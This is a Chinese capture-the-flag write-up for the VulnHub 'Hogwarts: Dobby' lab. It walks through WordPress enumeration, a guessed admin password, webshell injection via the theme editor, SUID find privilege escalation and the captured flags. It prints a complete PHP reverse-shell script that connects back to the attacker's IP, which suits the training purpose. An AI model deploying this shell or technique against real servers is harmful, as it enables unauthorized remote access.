VulnHub项目:Hogwarts dobby

news2024/11/28 5:02:26

靶机地址:Hogwarts: Dobby ~ VulnHub

哈利波特也是初中时候最喜欢的电影~Dobby多比是马尔福加的奴隶精灵,出现在第二部密室中,后来被哈利波特的袜子所拯救,成为了一只快乐自由的小精灵,最后它在死亡圣器中,也是解救了哈利波特一行人,不过可惜最后瞬移的时候被贝拉特里克斯·莱斯特兰奇的匕首插中,身亡!

渗透过程:

开始对该靶机渗透,确定ip,扫描端口,仅有一个80端口

只有一个80端口,访问后发现是apache服务,标头不一样

进行源码查看,在最下面发现了访问路径

 /alohomora

开门咒

访问后,他提示,draco马尔福的密码是他的房子,先记下这个提示

 对该靶机目录进行爆破

发现了log和php探针,访问log,有个pass和路径 

访问路径发现了一些东西,这个还是brainfuck的加密 ,同时在页脚的地方看到了wordpress框架

解一下,乱码了,先不管他 

 既然是wordpress,那就wpscan一下,枚举一下看看有啥东西

 和之前一样,发现了draco用户

wp的默认路径:wp-login.php还有wp-content

访问后,进入到登录解密,使用draco,本以为是之前的pass,输入后,错了,这里的提示还是西班牙文 

再回想之前他说密码是马尔福的房子,马尔福是斯莱特林学院的,是不是就是它的英文就是密码

draco:slytherin 

尝试之后,成功进入,好家伙,什么鬼,全是西班牙文,看不懂啊看不懂! 

 先把语言改了吧,只有英文,凑活看吧,总比西班牙文看着舒服点

 改好之后呢,就看看哪里有getshell的地方,他这边有theme,还可以编辑,不由得想到编辑器漏洞,利用它自己的编辑器写入一句话,然后访问该被修改的文件,用蚁剑进行连接,具体的思路是这样的!

下面先浅浅的试个水,写个php探针进去

 然后访问这个theme的文件,发现成功!

 那就不要客气的写上一句话,连接下

 

 然后一不小心的找到了个flag

 

"Harry potter this year should not go to the school of wizardry"

flag1{28327a4964cb391d74111a185a5047ad}

那怎么给本地反弹个shell呢,其实可以在蚁剑里直接做后续的操作,但还是习惯本地环境下的操作,那就讲反弹shell的文本改写,将kali的ip和端口写入下面的文件中,将其保存,利用蚁剑进行上传,在web端访问,在访问之前本地开启监听,就这样就OK了!思路是这样的!


  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '192.168.56.136';  // You have changed this
  $port = 7899;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 
  

 

 bingo,反弹回来了,下面就提个权助助兴吧

发现了find提权,那就简单且愉快了,find之前用过很多次 

 天地无极乾坤借法!破!提权成功~root了

查看proof.txt,嘿,还没有cat,那就more一下,获得了最终的flag,

 root{63a9f0ea7bb98050796b649e85481845!!}

总结:

该靶机主要的漏洞还是wordpress的编辑器漏洞,通过这个漏洞拿到低权限,通过suid提权至root,还是很有趣的~玩的就是个情怀~~~~

请继续关注,后续会带来哈利波特系列的死亡圣器系列,一共八个圣器,共3个靶机,敬请期待~

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/620399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

keil从非0x08000000地址调试STM32单片机程序方法

在使用stm32单片机的串口IAP升级功能时&#xff0c;需要调试bootloader程序和app程序&#xff0c;一般bootloader的程序都是从0x08000000地址开始运行的&#xff0c;使用keil软件可以直接进行仿真&#xff0c;但是如果调试app程序的话&#xff0c;由于它不是从0x08000000地址开…

Java程序判断是否是回文

1 问题 利用java程序判断是否是回文。 2 方法 利用函数库&#xff0c;将输入的字符串倒置&#xff0c;看倒置后的字符串和原来的字符串是否一样&#xff0c;然后得出结论。 package practice; import java.util.Scanner; public class Huiwen { public static void main(St…

【MySQL数据库 | 第五篇】DDl操作数据库

目录 &#x1f914;DDL介绍&#xff1a; &#x1f914;语法详解&#xff1a; 1.查询&#xff1a; 1.查询所有数据库&#xff1a; 示例&#xff1a;查询自带数据库 2.查询当前数据库&#xff1a; 2.创建&#xff1a; 示例&#xff1a;创建一个名字叫做itcast的数据库&…

第一期丨INTERSPEECH 2023 论文预讲会

INTERSPEECH 2023 论文预讲会是由CCF语音对话与听觉专委会、语音之家主办&#xff0c;旨在为学者们提供更多的交流机会&#xff0c;更方便、快捷地了解领域前沿。活动将邀请 INTERSPEECH 2023 录用论文的作者进行报告交流。 INTERSPEECH 2023 论文预讲会第一期邀请到清华大学和…

【新版】系统架构设计师 - 系统工程与信息系统基础

个人总结&#xff0c;仅供参考&#xff0c;欢迎加好友一起讨论 文章目录 架构 - 系统工程与信息系统基础考点摘要系统工程概念系统工程方法生命周期阶段及方法 信息系统诺兰模型信息系统的生命周期信息系统的建设原则信息系统的开发方法信息系统的分类信息化系统业务处理系统【…

【高危】Apache Cassandra 存在越权漏洞导致远程命令执行

漏洞描述 Apache Cassandra 是 Apache 基金会的一个分布式 Nosql 数据库。 Apache Cassandra 的受影响版本中&#xff0c;由于没有对JMX/nodetool权限的用户做限制&#xff0c;当启动FQL/Audit日志时&#xff0c;拥有 JMX/nodetool 权限的攻击者可以以 cassandra 的身份权限执…

QMediaPlayer 打包解码器注意事项

程序打包注意事项 如果需要把我们的程序进行打包&#xff0c;给客户安装使用&#xff0c;那么还需要引导客户额外安装LAVFilters&#xff0c;显得比较麻烦。接下来&#xff0c;介绍&#xff0c;如何将解码器打包进安装包。 1、QMediaPlayer找到解码器的原理 先来看看解码器&am…

Android 各版本特性

一&#xff1a;介绍 我们可以看到Android版本对应的Api版本 二&#xff1a;Android 6.0 &#xff08;API 23&#xff09; Google I/O 2015大会如约已于2015年5月28日举行。在发布会上代号为“Marshmallow&#xff08;棉花糖&#xff09;”的安卓6.0系统正式推出。 Android …

LVS简介及LVS-NAT负载均衡群集的搭建(要像记得回家的路一样记得理想和远方)

文章目录 一、LVS群集的简介1.群集的含义和应用场景2.性能扩展方式群集的分类负载均衡&#xff08;LB&#xff09;高可用&#xff08;HA&#xff09;高性能运算&#xff08;HPC&#xff09; 二、LVS负载均衡群集简介及搭建1.负载均衡群集架构第一层&#xff0c;负载调度器&…

Linux - sudo:/etc/sudoers 可被任何人写

错误如下&#xff1a; sudo: /etc/sudoers 可被任何人写 sudo: 没有找到有效的 sudoers 资源&#xff0c;退出 sudo: 无法初始化策略插件 需求就是除了root账号&#xff0c;别的账号也能执行mkdir等命令 1. 先用root把 chmod 777 /etc/sudoers 设置可修改 2. 添加一条 xxx…

JIRA维护记——使用原实例位置恢复数据

一、出现问题 昨天下班了&#xff0c;同事反馈Jira又不能使用了。想都不用想&#xff0c;肯定是磁盘空间不足了&#xff0c;因为已经出现过几次了。之前都是清理一下磁盘空间即可&#xff0c;都不用重启Jira。 今天一上班就开始清理磁盘空间&#xff0c;把一些日志啊&#xf…

数据在内存中的存储(打入“内部”深度剖析哦)

前面的文章介绍中&#xff0c;只对整数在内存中的存储进行了简单介绍&#xff0c;可是只了解这么一点点是远远不够的呢&#xff0c;这篇文章呢就对数据在内存中的存储的几个重难点进行了详细的介绍哦&#xff0c;希望对爱学习的小伙伴们有所帮助&#xff5e; 目录 一.数据类型…

【Protobuf速成指南】Message中如何定义“数组”?

文章目录 2.0一、字段规则1.1 规则1.2 改进1.3 消息类型作为字段类型 二、repeated字段使用方式三、Contact2.01.write.cc2.read.cc3. 查看二进制信息①hexdump② --decode选项 2.0 本系列文章将通过对通讯录项目的不断完善&#xff0c;带大家由浅入深的学习Protobuf的使用。这…

win10的另一种美化字体的方式,使用noMeiryoUI

目录 1. 前提2. 字体选择3. 查看已经安装的字体并查看效果4. 安装软件修改系统字体5. 修改浏览器字体 1. 前提 21年的时候写了一篇文章&#xff0c;《Windows10下美化字体&#xff0c;达到类似mac的效果》&#xff0c;当时还很迷恋macType这个软件的使用&#xff0c;觉得好牛逼…

Linux——安装VMwaretools实现文件共享功能

作为一个Linux初学者&#xff0c;应该熟悉相关的文件下载和安装以及简单的配置命令&#xff0c;下面通过安装一个VMwaretools来实现window环境和Linux环境下文件的共享功能的实现。 一、安装VMwaretools 点击重新安装后&#xff0c;会在桌面上看到有一个光盘&#xff0c;则代表…

单片机的基础知识和原理

单片机是一种集成了中央处理器&#xff08;CPU&#xff09;、内存、输入/输出&#xff08;I/O&#xff09;端口和其他外设的小型计算机系统。它通常用于嵌入式系统&#xff0c;如家电、汽车电子、工业控制等领域。 下面是单片机的基础知识和原理的概述&#xff1a; 架构&…

Linux系统安装——VMware15.5安装centos7.6 (附资料下载+联网配置+踩坑总结)

一、安装虚拟机VMware15.5 VMware虚拟机安装Win10&#xff0c;安装包秘钥/系统镜像/激活工具如下&#xff1a;(主要这个地址不限速&#xff0c;方便&#xff01;) https://www.123pan.com/s/g520Vv-Dg2id (遇到会拦截下载任务的浏览器&#xff0c;直接换浏览器下载即可&#xf…

【LVS负载均衡群集】

目录 一、企业群集应用概述1、群集的含义2、企业群集分类3、负载均衡群集架构1、负载均衡的结构2、负载均衡群集工作模式分析 二、LVS的三种工作模式1、NAT 模式地址转换 2、TUN模式IP隧道 3、DR模式直接路由 三、实战NAT模式 LVS负载均衡群集部署1.部署共享存储&#xff08;NF…

将安全性置于首位:考试系统源码的安全漏洞和防护措施

在当今数字化时代&#xff0c;考试系统源码的安全性已经成为了一个至关重要的问题。随着更多人开始远程学习和在线考试&#xff0c;考试系统的安全漏洞也越来越容易被利用。因此&#xff0c;在开发和使用考试系统源码应用程序时&#xff0c;保护用户数据和系统资源免受攻击是至…

思维导图整理,100个好看实用的模板分享

思维导图是一款有效提升工作和生活效率的生产力工具&#xff0c;受到全球千万用户的喜爱。 它帮助我们将所需的信息以图形的形式呈现&#xff0c;更加便于我们的记忆。头脑风暴帮助我们捕捉灵感&#xff0c;激发 我们更多的想象力。 它可以应用在我们生活以及工作的方方面面。项…